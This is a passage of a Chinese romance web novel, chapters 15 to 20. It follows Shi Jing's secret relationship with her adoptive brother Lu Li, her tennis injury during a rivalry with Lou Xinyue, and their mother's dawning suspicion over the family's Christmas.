“嗯?”
她应得漫不经心,正发信息问柜姐有没有货。
“昨天就和童宛去玩的?”
第15章 时憬受伤
“对呀~”
“昨晚你回来童宛没问你?”
“没啊,她又没和我住一起。”她的心思都在屏幕上,等到说完后,才意识到不对劲。
陆礼偏首,像是临时起意问起的,“你们没住一起?”
“没啊,我们为什么要住一起?”时憬昂头,故意迎着视线去看他,眼眸明亮,“我睡觉轻,挑人。”
陆礼垂眸看眼前的妹妹,颔首,重复:“睡觉轻?”
时憬挤出一个笑,“妈妈~我来帮你!”
走开后,时憬第一时间翻出手机里所有照片,确认没拍到白行的照片。她抿着唇,看着微信里白行昨晚发信息来的时间,陆礼不会看她手机,可能是她多心。
用过午餐,圣诞树也布置好了。
时憬小睡一觉,化妆换好衣服准备出门。
下楼时,从窗口看见后面的室外网球场有人在打球,离得远,看不清楚是谁。
她叫了个佣人,“今天家里有谁来玩了么?大冬天的还打室外网球也不嫌冷。”
阿姨笑着回:“是楼小姐来了。”
“楼小姐?”她挑眉,“宣城的楼心月?”
阿姨点头,“就是她,少爷和她在打,太太也在那儿呢。”
时憬打开手机摄像,拉远放大。
可不就是陆礼。
阿姨:“小姐出门要用车么?”
时憬转身上楼,“不用,我不出门。”
阿姨不解,打扮得这么漂亮怎么又不出门了?但主人家的事情也不好多追问。
时憬回房间,给拨去电话,手机扔柜子上开扩音,在衣柜里翻出来冬天打球的装备。
“抱歉,今天逛街要放你鸽子了,回头补你一份大圣诞礼物。”
耶耶:“嗨没事儿!你那边有事么?需要我帮忙不?”
时憬利落脱衣服换装,“楼心月来了。”
耶耶:“emm…不会是来打网球的吧?”
时憬诧异:“你怎么知道?”
耶耶:“昨天中午吃饭的时候,她在食堂和那几个跟班说要去陆总家里练球。食堂你知道的嘛,开放空间,楼上办公室的都差不多传遍了,刚她还发了个朋友圈,我发给你看。”
时憬挂了电话,看发来的照片。
女郎全妆,妆容却不浓,清透朝气。
波浪卷发束在脑后,紧身网球装勾勒出前凸后翘的好身材,黑色紧身裤上还套了橘色堆堆袜,时尚亮眼。
连女性都忍不住要欣赏两眼。
更何况是男人。
照片角拍到了一只握球拍的男人手。
与车上自拍是同一个套路,都在暗戳戳向朋友圈里的人误会,她与陆礼关系暧昧。
时憬盯着穿衣镜里浓妆的人,卸妆、拆了精心梳的发型,梳了个高马尾。
拎着球拍也往球场走去。
今日阳光灿烂、四周无风。
球场上的两人打的有来有回,俊男靓女,极为养眼。
陆母坐在遮阳伞下喝茶吃点心,顺带镇场子,不然自己一走,陆礼哪肯乖乖陪人打球交流感情。这会儿看见时憬走来时,问道:“不是约了人出门逛街?”
时憬顺势坐在陆母身边,语调软软地说着:“朋友有事去不成了,刚在楼上看这儿有人打球,我也手痒了。”
陆母小声道:“他们是正事,你别去捣乱。”
时憬:“我知道,可您看我哥这个打法,一点也不让心月姐,再打下去估计都快把人打哭了。我去帮帮心月姐,说不定气氛还能热络点,是吧?”
陆母看着场上的情况,皱眉:“你哥是不肯让。”
“那我去啦!”
时憬跳起来,敷衍热身两下,在一球出界后小跑进去:“哥,心月姐,带我一个!”
楼心月喘着气,在看见时憬出现时,眼中险些遮掩不住烦躁,脸上扬起优雅的浅笑,走到网前,微微歪了下头,问:“陆礼,可以么?”
语气亲昵。
时憬在旁边揣摩学习了下,也走到网前,认真问道:“哥,可以么?我和心月姐打你一个,不然你一点都不肯让她太可怜了。”
楼心月的温柔僵硬了瞬。
时憬无声扬起笑容。
比茶艺,她也会。
陆礼刚要说话,口袋里的手机震动,“接个电话,时憬陪你打。”
楼心月挤出微笑,“你工作重要。”
时憬啊?了声,“哥,你是故意的吧!”
楼心月的脸色差点没绷住,扭头看身边故作天真烂漫的时憬。
陆礼从网前经过,抬手用球拍在时憬脑袋上轻拍了下,“工作电话。”偏首看了时憬的腿,过膝袜上肌肤裸露,皱起的眉头能夹死苍蝇,七八度的气温,她穿成这样?“不冷?去换了衣服再来。”
时憬从网下钻过去,推着他出去:“哥你好啰嗦啊,妈妈都没说我,你快去接电话吧,不要妨碍我和心月姐打球!”
陆礼深呼吸一口气,转身走远点。
眼不见为净。
尽快解决电话里的问题再去管教不听话的妹妹。
时憬一手握球,一手握拍,摆好姿势。
看着笑容勉强的楼心月,抛球,跃身挥拍——
时憬的网球是陆礼亲手教的,只因秦医生坚持运动对她的病情有益处,陆礼教得认真,她学的也不错。
但和楼心月对拉后发现,这人光追求挥拍动作好看、容易借力,每一发都是暴力抽球,时憬努力接球,球是赢了,但累得直喘气,昨天暴走后的腿更是疼得不行,心里都想骂娘。
两回合下来,时憬体力不支。
楼心月虽输球,但察觉时憬脸上的火气快要压不住。
余光瞄到陆礼终于回来了。
她挥拍扭身用力抽出一球,飞去界线。
楼心月看她追球已吃力,十有八九会丢球,丢球后这位大小姐肯定会发脾气,她已经开始期待陆礼看见妹妹无理取闹后的反应。
谁知时憬要强不肯丢球,飞身去接。
但球未接到,脚踝忽然刺痛,她分了神,重心骤然失衡摔倒,膝盖狠狠从地上擦过。
这一摔发生的太快。
陆母还没反应过来,陆礼已飞奔入场!
“时憬!”
第16章 男朋友可真贴心
陆礼蹲下身,一把扶起时憬,将人圈在怀中,瞥见地上血迹,脸色黑得吓人,语气强行冷静:“伤的哪条腿?”
时憬的过膝袜是纯黑,透不出血色。
这会儿痛感也还未传入大脑。
陆礼紧张的情绪传递给她,时憬也有些被吓到了,摇头:“我不知道…”
陆礼拉着膝袜往下翻。
左腿膝盖蹭开鸡蛋大小的伤口,还在往外渗血。
鲜血印入眼中,疼痛渐起。
楼心月怔住,就摔那么一下,伤口怎么会那么严重?
陆礼会怪自己么?
她也快步走过去,“小憬妹妹,对不——”
陆母急跑过来,拨开挡着的楼心月,紧张问道:“小憬!摔伤了没?”刚站定就看见被翻出来的伤口,“怎么摔这么严重!”
陆礼两手抱着时憬稳稳起身,抬脚步伐极快地朝外走去,“伤口太大,我带时憬去医院清创。”
陆母也跟着冷静下来,“你直接带着小憬去主楼!其他妈妈来安排!”话音落,陆母打电话吩咐佣人拿时憬的外衣,又打电话让老耿开车等着。
等吩咐完事情,已看不见陆礼。
陆母担心的也快步往主楼去。
楼心月青白着脸,握着球拍站在原地。
陆礼连看都没有看她一眼,甚至连陆母也彻底忽视了她,他们是在迁怒自己,可那一球谁都看得出来是不可能接到,是时憬故意去接的!
而陆礼刚才的态度、动作,早已超过哥哥的身份。
他们之间分明有见不得人的关系。
所以时憬才会对她抱有敌意!
无血缘的半路兄妹,说不定能做的不能做的都发生了。
楼心月捂住唇,忍着胃里翻涌起来的恶心。
*
时憬平时爱撒娇,一点疼都要哼哼唧唧地让陆礼安慰自己。
这会儿伤口火辣辣的疼,针扎刀割似的疼痛鲜明。
真疼的脸色发白,咬着唇一声不吭。
陆礼半抱着她,眼中心疼能化为实质。
“耿叔开快点。”
他沉声催促,让助理找人约医生。
等到医院外科处理伤口时,时憬的后背已经被冷汗打湿,清创需要把伤口清理干净,疼得半个身子蜷缩起来,拳头紧握,指甲几乎要抠破掌心。
陆礼掰开她手,让她握住自己,另一只手搂着将她压在胸前,语气极尽温柔,“再忍忍,坚持一下,很快就能结束了。”一会儿又说等结束后买她喜欢吃的蛋糕,口吻像是哄小孩似的。
医生听着都乐了,想要转移她注意力,好让她不这么紧张,笑呵呵打趣道,“小姑娘,你男朋友可真贴心。”
时憬疼得脑子都木了。
还未仔细想这句话,就听见陆礼的声音从头顶传来:“我是她哥哥。”
医生笑了声,“是我搞错了,别介意啊。这年头这么照顾妹妹的哥哥不多了,我家兄妹两个整天就掐架。”
陆礼说了句没事。
握着他的手松开了。
女孩低着头,唇抿得发白。
在回去的路上,也默不作声的靠着窗户,不向陆礼撒娇,耿叔同她说话,时憬也回的兴致不高,陆礼如何看不出来是她生气了。
因为他解释的那一句。
在下车后,陆礼站在车门前,女孩故意扭着头不去看她,却仍伸手同意他抱自己。
陆礼稳稳抱起她,深沉的眼底浮起极浅的笑,淡淡凝在眼中。
才进客厅,陆母已经迎了上来。
楼心月也亦步亦趋地陪在一旁,眼睛红着。
陆母担心的皱眉:“怎么样啊,医生怎么说?”
时憬没有化妆,素白着一张脸被抱在陆礼怀中,头发也乱糟糟的,小脸看着愈发显得憔悴。
陆礼仍是那副稳重到显得冷漠的态度,早没了冲入球场那一瞬失控的紧张,“伤口已经清理过了,开了点药,湿性愈合不容易留疤,您不用担心,我先送时憬上去休息。”
陆母闻言松了口气。
楼心月听着他们要上去了,语气哽咽着道歉:“对不起小憬妹妹,我不该打那个球的,害得你——”
话音被陆礼冷漠的语气打断。
“她现在很难受,你确定非要在这个时候道歉?”
他终于看向楼心月。
眼神毫无温度。
楼心月刷的一下脸色煞白,“陆礼……”
时憬本来还有些生陆礼的气,听见这句话从陆礼口中说出时有些意外,听着像是他生气了,时憬就没有那么生他的气了。
陆母略带责怪地看了眼陆礼,“心月也是真心向小憬道歉,这事也不是她故意的。”
楼心月轻咬着唇,闻言落泪,细弱地压抑着抽泣。
看着分外委屈可怜。
时憬:……
比哭得可怜谁不会?
时憬酝酿了下,忍了一路的眼泪涌出来,“心月姐哭着道歉是非要让我原谅么?是,这件事是我的错,是我要强要去接那个球,摔了也是我自找的……”她哭得彻底止不住,一滴滴眼泪从下颚滴落,“我明明疼得忍了一路都没哭……”
就差直接说你哭什么?
楼心月脸颊涨红,“我没有这个意思——”
陆母也反应过来,看着女儿伏在陆礼怀中,哭得肩膀颤抖,心疼得不行,“还不快带妹妹上去,没事儿啊,委屈就哭出来,别憋着自己。”
陆礼点头,抱着时憬上楼。
楼心月不敢再掉眼泪,红着眼睛楚楚可怜地拉着陆母的手,“伯母,我只是太愧疚,害得小憬妹妹受伤,真的没有其他意思,妹妹那么说我——”
陆母目光复杂地看着她,“今天的事情是谁都不愿发生的,是你说要同妹妹道歉,我才留下你的。时憬要强,心思又细,从摔倒起哼都没哼一声,就怕我和陆礼担心,你……”她叹了口气,“我让阿姨先送你出去,今天先回家去。”
陆母心中略有些失望。
本以为是个稳重的孩子,结果这才来家里几次,就已经哭了几回,可见面上的温柔优雅都是虚的。
陆母张罗着去厨房熬汤。
“我送楼小姐出去吧。”佣人上前,笑容客客气气地下逐客令。
楼心月何曾被阿姨这么对待过?
她撑着摇摇欲坠的高傲,礼貌一笑:“不用了,我认识路。”说着优雅转身离开,连脖子都不肯低一下。
今日她所受到的羞辱,都因时憬而起!
总有一日,她要全部还给时憬!
不过是个被陆家捡回家养了几年的外人!
等她查到时憬与陆礼见不得人的关系,陆家人还会对她这么好吗?
不——
不会的!
陆礼可是陆氏集团的掌舵人,为了陆家、为了陆氏,她会被当成见不得人的垃圾赶出陆家!
楼心月拨出电话,眼中含着羞愤的眼泪,“喂,哥哥,介绍个沙市口风紧的私家侦探!立刻马上就给我!”
第17章 争吵
陆礼抱着时憬回房。
弯下腰,将她轻轻放在床边,替她脱去裹着的大衣,伸手摸了下她的后背,触及有些潮意,他微低头,低声问:“衣服能自己换么?”
时憬刚才哭得太投入,一时半会儿停不下来。
只能抽泣着点头回应。
陆礼去关了门,调高空调,从衣柜里拿替睡衣给她,又去卫生间拧了条热毛巾。
时憬刚套上睡衣。
仰着脸,由着陆礼用毛巾擦去脸上的泪痕。
他照顾惯了妹妹,动作细致温柔,在不知不觉中养着时憬越来越依赖他。
陆礼把衣服毛巾放去卫生间,再出来时,就看见时憬小心翼翼抬起腿搁在床上,凑近看。
听见陆礼出来的脚步声,她抬头看人,哭过后的眼瞳水汪汪的,眼梢发红,轻皱着眉问:“不会留疤吧?万一留疤了以后我可怎么穿裙子啊。”
陆礼拿了杯子去倒水:“不会。每天我下班后来帮你换药,可以正常下地走动,但不能出汗,记住了吗。”
时憬再度确认:“真的不会留疤?”
水流声止。
陆礼端着水,扣了药递给她,“只要你乖乖遵从医嘱,就不会。先把药吃了,这药就吃三天,防止感染。”
“哦好。”
在医院里,时憬疼得脸无血色、浑身出冷汗,医生临时开了一顿止疼药给她,这会儿药物生效,她脸色也看着好了许多,还有心思研究什么是湿性愈合。
陆礼并未离开,拉了张软凳,在她对面坐下。
“时憬。”
“嗯?”
“能和我说下当时是什么情况吗?”
陆礼顾及她刚受伤,温和着语气询问,没有一上来就质问她为什么要逞强去接接不住的球。
时憬盯着伤口的敷料,回答得倒挺公正的:“心月姐打球习惯抽球,我跑累了,接最后一球时脚崴了下就摔了。”
陆礼压下皱眉的冲动:“体力不支了为什么不结束比赛?”
“我不想输。”
时憬要强,但从不是一个输不起的人。
她的网球是陆礼手把手教出来的,他如何不知道?
陆礼尽量放柔语气,“你是不想输给楼心月,还是不喜欢她?”
时憬不再躲避陆礼的目光,直直迎上去,下意识想要否认,想要说自己争强好胜,在撞上陆礼难辨喜怒的眼神,她忽然想起在医院里时,陆礼毫不犹豫否认他们的关系,故意讽刺着回道:“难道你喜欢她?哦对,估计有点儿喜欢吧?不然怎么会邀请她来家里打球?楼心月那个抽球的打法,还能陪她打这么久。两个人在公司里天天都能见面,陆家和楼家也算是门当户对吧,现在还有合作,楼心月身材好长得也好看。哥,你该不会喜欢的不得了吧?”
她睁着眼睛,像是炸开的刺猬。
每一句话刺耳又离谱。
陆礼皱眉,冷着脸训她:“你要不要听听自己都说了些什么话。”
时憬不怕他。
把这句话原封不动地还给陆礼,“那你也要不要听听自己说了什么?”她抬手,粗鲁地揪住陆礼的衣襟,凑近,脸上的怒气压在眼底,眼睛水亮地吓人,低声质问:“昨晚我们才睡过,陆礼,你为什么会觉得我能喜欢你的相亲对象?”
时憬倔强地忍着眼泪。
不肯在他面前示弱。
他知自己不该心软。
应该严厉训斥妹妹,告诉他楼心月是他的私事,他询问这件事,只是希望她能更慎重的爱惜自己的身体,不要做伤害自己的任何行为。
可当看着她眼底破碎的泪光。
陆礼仍心软了。
他纵容妹妹利用他汲取活下去的养分,她敏感而脆弱,现在又受了伤,将话说得太狠,实在太过无情。
陆礼轻声叹息,眼中的冷意散尽。
他抬起手,想要擦去她眼角的湿漉。
“抱歉,是我说错了话。”
可时憬想听的,从不是他的道歉。
时憬在他的手碰到自己之前,先一步偏首避开。
陆礼的手停在半空中。
两人间静的诡异。
“咚咚——”
陆母敲门进来,看见兄妹俩的脸色都不太好,时憬更是一双快要哭出来的表情,关切询问:“这又是怎么了,嗯?”陆母走到时憬面前,温柔地揽着她的肩膀,“是不是哥哥又凶你了,不怕,有妈妈在给你撑腰。”说着,陆母佯怒轻打了下陆礼的胳膊,“妹妹刚受了伤,你就不知道多让让?哪怕她真做错了什么事情,就非得要现在才说?”
在外叱咤风云的陆少,此时垂眸,低声认错:“下次记住了。”
或许是陆母的怀抱太过温暖。
又或许是陆母毫无理由地替她撑腰。
又或许是时憬对这份疼爱的愧疚,她忽然就忍不住了,抱着陆母的腰无声哭着。
陆母更认定是儿子错了。
瞪了他一眼:“看看,都把妹妹惹哭了,快出去!”
在陆礼出去后,陆母轻拍着时憬的后背,温柔又耐心地安慰着,“不哭了啊,你哥从小就是这样一板一眼的性子,生气起来说话难免重些,但他的心都是为着你好。你看啊,今天你摔倒受伤后,他有多着急是不是?今天难受过后,之后就不准生他气了啊。”
时憬渐止住眼泪。
嘶哑着声音,低得只能自己听见。
“我知道……”
“我都知道……”
错的是她,贪婪的要太多的也是她,越来越贪心的仍旧是她,可她已经不知道该怎么停止了。
陆礼轻轻关上门。
站在门外,并未立刻离开。
他听着屋子里的哭声轻下去。
耳边突兀的响起秦天川的警告,这段关系真的持续太久了,继续下去只会更加伤害她,或许他该仔细考虑在尽量不伤害时憬的前提下去结束。
但在作出这个决定之前,他要确保妹妹身边没有不该出现的苍蝇趁虚而入,将她带坏。
陆礼给助理发去消息。
【替我查个人,白行,男,从童宛那边的关系网开始查】
第18章 原谅
时憬不愿意一瘸一拐地去上班,那有损她形象。
干脆请了一周假休息,等彻底好了再去
陆母连楼都不准她下,让阿姨将一日三餐送上来。
玩了一会儿游戏后,她忽然捞起手机,拍了张受伤的照片,配文【打网球这么久第一次摔得这么惨】发在朋友圈里。
还没等她放下退出微信,耶耶童宛她们打电话来问。
时憬有一搭没一搭地聊着。
话题从吐槽楼心月的球技,不知不觉就飘到了冬季时尚穿搭,甚至还约好了下个月一起去滑雪。
等挂了电话,上午已过。
未见陆礼发来的信息。
连一句关心的问话都没有。
狗!男!人!
时憬气的扔开手机,继续打游戏。
到了傍晚,时憬还没有等到陆礼的消息,估计也把她换药的事忘得干干净净。她记着医嘱要每日换药,她下单买了敷料、碘酒、棉花球等,刚撕开敷料就已疼得龇牙咧嘴,牙是咬了又咬,也没敢自己下手清理。
只能再贴回去,让耿叔带她去医院。
她扶着墙,慢吞吞挪出门。
刚一抬头,看见陆礼大步流星地朝她走来,小臂上挂着大衣,穿着商务三件套,细黑边框眼镜严肃逼人,像是刚从什么会议上下来。
“你出门要去哪儿?”
他低下视线,目光沉沉落在她脸上。
冷香顺着风扑来,密不透风地将她裹住。
时憬面无表情,不去看他斯文败类的脸庞,惜字如金:“去医院换药。”
“进去,我帮你换。”
时憬背靠着走廊,不肯动:“耿叔已经在等了。”
陆礼抬手扯松领带,语气平静反问:“你是要我抱你进去?”
时憬不理他,继续朝外走。
手腕被一只温热的手掌握住,陆礼转身略弯些腰,将倔强的妹妹直接抱起回房间,用胳膊肘撞上房门。
时憬起先还挣扎了下。
余光瞄到他今天细黑眼镜的装扮,薄唇闭紧,鼻梁高挺,密密的睫毛甚至在眼睑投下一片暗影。
真帅。
还帅得这么精英范。
时憬晃了个神,陆礼已将她放在梳妆凳上。
他单膝跪地,温热宽厚的手掌托着她的小腿,另一只手撕下敷料,棉球沾了碘伏,仔细清理伤口。他的神情专注、动作细致温柔,灯光落在镜片上,睫毛下垂。
时憬有种自己被珍视的幸福。
心脏在胸腔强烈鼓动。
“嗡嗡嗡——”
陆礼大衣里的手机震动。
“时憬。”
她回神,迅速撤走视线,“嗯?”
“帮我拿一下手机。”
“……哦。”
她拿了手机,划过接听,看着陆礼两手都忙着,干脆帮到底,把手机贴在他耳边。
陆礼这才掀起眼睑,清冷的眼神透过镜片看她。
时憬继续板着脸:“不接?那我挂了。”
男人再度垂下眼睑,继续清理伤口,唇角却微勾了下,笑的漫不经心。在开口时,又变回生人勿进的陆少:“什么事?对,先取消,半个小时后拉个会议,再定最近一班的机票。”
他轻歪了下头,“可以了。”
声线平静。
时憬咬了下唇,发信息问耶耶,是不是总部出了什么事。
耶耶很快回她。
【陆氏的快消品公司月底不是要推出一款新产品嘛,线下都开始铺货了,宣传物料都也准备好了。结果供应商爆雷材料造价成分不足!!!我们反应算快的了,高层开了一天的会商量应急方案】
【总部相关部门的人都还没下班,估计今晚得通宵】
【忙死了都要!】
【刚听总裁办的人说陆少还得连夜去出差】
时憬摁灭屏幕。
是她误会他了。
都这么忙了,抽空发个信息给她,让她去医院处理不行么?为什么要回来?
他总是这样——
从不吝啬对她的照顾。
时憬喉咙发干,轻声道:“我可以去医院换药的。”
“正好要回来收拾出差的行李。”他轻描淡写地解释,撕开敷料,盖住伤口,“之后几天我都在外地回不来,安排耿叔陪你去医院换药,记住伤口不要碰水,不要剧烈运动,不要吃发——”
他一件事又一件事的叮嘱。
与他这副禁欲又精英的外形格格不入。
时憬的心脏柔软。
控制不住自己沉沦于他无微不至的照顾。
“知道啦,哥你好啰嗦啊。”
女孩儿拉长了尾调。
是她撒娇时惯有的语气。
陆礼抬头,视线自下而上望向她。
时憬猝不及防落入他的眼中,柔软的目光被兄长完完整整地托住。
“咚咚——”
“小憬,妈妈进来了。”
未等时憬应声,房门被打开。
陆母记着要去医院换药,担心女儿走路不便,敲门告知后扭动把手,推开门,看见时憬背对着她坐在梳妆凳上,而陆礼则单膝跪在地上,手从女儿的小腿处收回。
一人抬头。
一人垂首。
这一幕让陆母愣了下。
陆礼站起身,伸手揉了下时憬的头,口吻随意:“走了,明天记得去换药。”
时憬强行冷静,“知道了,你都说八百遍了。”
她和陆礼什么都没做。
妈妈不可能看出来什么。
所以自己不能那么紧张。
她调整了下表情,才敢转身看向门口的陆母。
陆礼走到门口,叫了声妈。
陆母:“公司新产品出的问题已经解决了么?你怎么——”她咽下快到嘴边的话,把‘会在房里帮妹妹换药’改成“在家里?”
陆礼神情坦然:“已经有了解决方案,我收拾出差的行李,等会儿就走。”
陆母听他还要去出差,心疼道:“晚上吃过了?我让阿姨准备点你带着路上吃。等会儿出门就别自己开车了,让司机送你。”
陆礼说了句‘知道了,您别担心’,手机再度响起,他接了电话匆匆回房收拾东西。陆母关心了下时憬的伤,就下楼去找阿姨准备东西,好让陆礼带着在路上吃。
直到入睡前,四周安静下来。
陆母想起今天在房中看到他们一坐一蹲的一幕。
接着想起昨天在球场上,小憬受伤后,儿子飞奔过去将女儿抱起来,翻开袜子查看伤口。
又想起那一天她去找小憬,儿子也在她房间,门锁着。
儿子稳重有分寸,在男女关系上更是干干净净,可她现在才意识到,儿子与小憬之间似乎太过亲密了。他们是兄妹,更是毫无血缘的兄妹——
陆母越想越心惊,猛地从床上坐起身来。
第19章 你是妈妈的女儿
快要睡着的陆父吓了一跳,坐起开灯看人:“怎么了?做什么噩梦了?”
陆母像是没听到声音,掀了被子下床朝外走。
“老婆?”
“若云?”
“你要去哪儿?”
陆父连叫了几声,陆母才反应过来,回了声:“我下楼去看看小憬。”
看小憬?
现在?
陆父眯着眼看了下手机上的时间,劝道:“这么晚了,孩子肯定睡了,有什么事也明天再说,快回来睡觉吧?”
陆母此时睡意全无。
她相信小憬、陆礼两个都是好孩子。
小憬算是陆礼照顾长大的,学业、生活,都是陆礼一手包办,没让他们操半点心,小憬依赖哥哥,所以他们才会比普通兄妹更亲密一些。
她身为母亲,孩子们不懂的事情她却必须要看明白,不能让他们做错事。
但这些事只能藏在心底,一旦形成言语说出口,那对小憬来说将是一辈子无法磨灭的伤害。
陆母裹上披肩,坚持道:“白天她睡多了,晚上肯定醒着。你今天累着了,睡觉打呼噜太吵,正好我去找小憬睡。”
陆父:……?
老夫老妻三十多年从未听她说自己打呼,怎么人到中年突然开始闹分房了?
陆父反思了下,这下也睡不着了,拿起手机给老婆精心挑选礼物。
*
陆母下楼,看着门缝里还亮着灯光,敲门:“小憬,睡了么?妈妈能进来么?”
里面应了声。
陆母开门进去。
房间里只有时憬一人在,她正抱着笔记本靠在床头在看电视剧,“妈妈,这么晚了您怎么来了?”
陆母关上门,拢了下披肩,走到床边坐下,目光温柔地看着她,柔声问:“来看看你,腿还疼么?”
时憬合上笔记本放在一边,乖巧回话:“已经不疼了。”
“那就好。你爸打呼太吵了,今晚妈妈能和你睡么?”
时憬意外地眨了下眼睛。
“爸爸竟然也打呼噜呀?”她新奇的感慨着,人往另一侧挪了下,空出大半张床,掀开被子,“您快进来,外面冷,我这儿正暖和呢。”
陆母躺进松软的被窝里。
旁边的女儿就靠了过来,眉眼弯弯,笑容柔软,“我来家里这么久了,还没有和妈妈一起睡过呢。”她的语气里带着显而易见的欣喜,全然没有怀疑陆母。
望着干净的笑脸,陆母将心虚化成翻倍的母爱,忍不住把女儿抱在怀中,微笑着道:“这么巧,我也没和香香软软的女儿睡过呢。”
时憬捧着脸,眼睛亮晶晶的:“您再多夸夸~”
陆母轻戳了她一下,“关灯睡觉,这都几点了。”
时憬耸肩摊手叹气,“好吧。”
又是逗得陆母笑了一会儿。
关灯后,母女二人平躺着。
时憬以为是陆母是真的被陆父的呼噜吵到不能入睡,所以才下来找她,想着妈妈应该困了,安静地闭上嘴不发出一点声音。
在她快把自己哄睡时,耳边传来陆母低柔的声音。
“小憬今年23?”
时憬闭着眼,轻声回:“嗯,马上过了年24。”
陆母出声感慨,“时间过得真快,记得陆礼带你第一次回家那会儿,你才15岁呢,还是个小姑娘,这一晃都快过去十年了。”
时憬没多少和女性长辈一起睡的经验,不知道她们睡前是不是喜欢感慨岁月匆匆。
她便配合着,贴着陆母的肩膀,小声的却认真地说:“谢谢您和爸爸愿意让我留下来。”
陆母侧过身,借着昏暗的光,轻轻摸了下女儿柔软的脸颊,轻声诉说着她从未向时憬提及的过往:“陆礼是妈妈的第一个孩子,在他后面还有过一个女孩儿,没留下来,后来你爸爸担心我身体,说有一个儿子就够了。那年冬天,陆礼突然带了个小姑娘回来,可把我和你爸都吓了一跳。”
“你哥从小到大情绪稳定得不像小孩子,撒娇卖萌都是没有过的事情。说得好听点是稳重,大实话就是老气横秋的,冷不防带了个小姑娘回家来,还是个没成年的,我们心想着别是犯了什么错,急得你爸血压都高了。”
陆母语气诙谐。
时憬忍不住笑,眼神干净又柔软,“您接着说。”
陆母:“后来陆礼同我们讲了你的事,说如果留在家里不方便,他就在外面租套房子,让你住到成年。他大学还没毕业,不久就要出去留学,被知道了不知要传成什么样,我们就商量先让你在家住几天看看。现在你听着别觉得爸爸妈妈那会儿心冷,主要——”
时憬柔声打断,仍贴着陆母的肩膀:“我知道的,妈妈,我都知道。”
陆母说了句乖,眼神疼爱的看她,接着道:“你哥性子冷,说话做事一板一眼正得不行,也不像别人家的孩子喜欢买车、买表、旅游、瞎折腾,眼里只有学习、工作。可自从乖乖你来了家里,你哥可能认为是他带你回来的,照顾你是他的责任,他开始学习怎么当人哥哥,渐渐有了人味儿。”
最后三个字让时憬笑的发颤。
人味儿。
果然还是亲妈最一针见血。
时憬好不容易止住笑,手指擦去眼泪。
陆母:“听着你叫陆礼哥哥,看你们兄妹拌嘴说笑,像是家里多了个小女儿,慢慢就热闹了起来。你是个好孩子,况且人相处久了都有感情,我和你爸爸就问你,愿不愿意留下来。”陆母是个善良而感性的女人,提起那一日的事,她眼中泛着温柔细碎的光,“妈妈永远记得,乖乖第一次叫我妈妈,我那会儿就想,我终于有了女儿,这次要一辈子好好呵护我的宝贝。”
陆母的声音如此温柔。
她说的是终于有了女儿,她说的是这次,而不是就像女儿又回到了身边。
陆母从未将她看作替代品。
而是把她当成时憬去疼爱。
时憬鼻腔发酸。
眼泪忍不住要冲出眼睛,可现在哭会被妈妈看出来,她贴在陆母怀中。
是她不配一辈子当妈妈的女儿。
是她做了不被原谅的坏事。
陆母轻轻摩挲着她的发旋,“哎哟,怪我晚上说这些,好了好了,不哭了啊,哭了就不好看了。”
“妈妈,”她仍不敢抬头,哽咽着说:“谢谢您和爸爸。”
也对不起……
真的对不起……
时憬默默流泪。
陆母没注意到她异样的情绪,自顾自往下说,切入主题:“你哥眼里只有工作,快30岁了,也不找个女朋友结婚成家,和他一般大的孩子不是已经结婚生子就是正谈着恋爱,真是急死父母。”
时憬愣住,话题怎么跳这儿来了?
这走向不对劲啊。
她抬起头,望着陆母。
陆母微笑:“妈妈有个好朋友下个月要回国定居,她有个儿子和乖乖一样大,到时候妈妈带你去见见?”她手指温柔的拨开时憬脸上凌乱的发丝。
第20章 她的圣诞老人
时憬有一瞬的慌乱。
做错事的人,总是容易心虚。
她几乎以为是妈妈发现了什么,但触及陆母期盼的目光,疑虑悄然散去。
“原来妈妈是为了来催婚呀~”她撒娇,“可我还想粘着妈妈,不想离开您,不想英年早婚。”
陆母轻打一下,笑骂:“什么英年早婚,都哪儿学来的词。小姑娘多认识几个优质男,哪怕不冲着结婚去,年纪轻轻也该谈几场恋爱。”
时憬一时无法反驳。
只能先应下。
“好叭,谁让我是贴心小棉袄,最听妈妈话呢。”
陆母被她哄得眉开眼笑,搂着她:“好了,时间不早了,睡觉!”陆母目的达成,无血缘的兄妹之间太过亲密总归让人不安,既然儿子不肯谈恋爱,那就让女儿去认识优秀的男孩子,有了喜欢的人后,就不会事事都依赖哥哥了。
她要保护女儿,也要守护陆家。
时憬闭上眼,听着妈妈逐渐绵长的呼吸声,毫无睡意。
她爱着哥哥,如何还能与其他男人恋爱?
这句话,她无法向妈妈说出口。
*
陆氏集团新产品风波未平,陆礼仍在当空中飞人。
时憬去了两次电话,都撞上在开会,她体贴的不再去骚扰工作狂。膝盖的伤口愈合后,约着童宛、耶耶逛街,报复性shopping。
理发、美容、美甲、SPA与购物穿插着来。
每天安排的分外充实。
一晃到圣诞节。
陆园里的圣诞树上灯光流转,氛围浓郁。
八年前,时憬来陆家的那一夜恰好是圣诞节,今年是她在陆家过的第八个圣诞节,也是第一年陆礼不在的圣诞节,她以为自己会难受的不行,所以把行程安排的满满当当,不让自己去想他,可真的到了这一天,她却没多少失落的感觉。
每年的圣诞节陆家都会拍一张全家福。
今年陆礼不在,陆母颇为遗憾。
时憬说她来把哥哥P上去。
起先还正儿八经的处理合照,后面就开始搞怪,把陆礼放在意想不到的各种地方,陆母笑得停不下来,立刻让她把照片发家庭群里。
时憬刚发上去,门外传来车子熄火的声音。
时憬探头看去,嘟囔着说:“该不是哥哥回来了吧?”
陆母笑回:“你哥出差还没结束,是老耿回来了吧?”
时憬不知为何不信是耿叔,扔下手机,朝门口小跑去:“我去看看是谁!”
她用力推门,走到门外。
庭院景观灯灯光暖黄,照亮车上下来的人影。那人身形挺拔修长,大衣衣摆扬起,周身的黑被暖黄的光勾了一圈,携着光,似从漆黑梦境中的朝着她走来。
时憬怔在原地。
听见耳边心跳声如擂鼓。
眼瞳随着他的靠近缓缓睁大。
真的是陆礼回来了。
她就知道——
陆礼一定会像圣诞老人迟来的礼物一样,最后出现在她面前,送给她一份巨大的惊喜。
一如八年前。
在她陷入绝境、几乎快被那些亲戚活活逼死时。
也是陆礼突然出现在她面前,把她带回温暖的陆家,然后告诉她,今天还是圣诞节。
陆礼站在一脸呆愣的女孩面前,眼中划过一道浅笑,手背在她脸上贴了下,低头看她:“傻了?”
时憬被冻得打了个哆嗦,彻底回过神来。
她张开胳膊朝着他扑过去。
陆礼微张开胳膊,眼神温和。
正打算接受妹妹的拥抱。
时憬扑入兄长怀中,踮起脚,两手抬起,在兄长无声询问的视线中,迅速把冰冷的手紧贴在他脖子里,稚气地回他:“被你冻傻啦!”
她笑着恶作剧。
